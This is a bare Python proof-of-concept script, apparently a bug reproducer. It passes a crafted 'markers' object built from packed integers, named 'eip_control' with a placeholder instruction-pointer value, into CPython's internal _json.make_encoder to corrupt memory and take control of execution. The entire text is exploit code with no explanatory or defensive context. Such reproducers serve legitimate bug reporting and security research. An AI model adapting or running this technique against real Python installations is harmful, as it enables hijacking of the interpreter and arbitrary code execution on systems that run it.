import _json as j import array import struct import sys ver = sys.version_info[0] eip = 0x11223344 eip_control = struct.pack("@I", 0) + \ struct.pack("@I", eip) + \ struct.pack("@I", eip) if ver==3: markers = array.array("B", eip_control) elif ver==2: markers = eip_control else: assert False enc = j.encode_basestring_ascii e = j.make_encoder(markers, None, enc, 4, "ks", "is", False, True, True) l = [1,2,3] e(l, 1)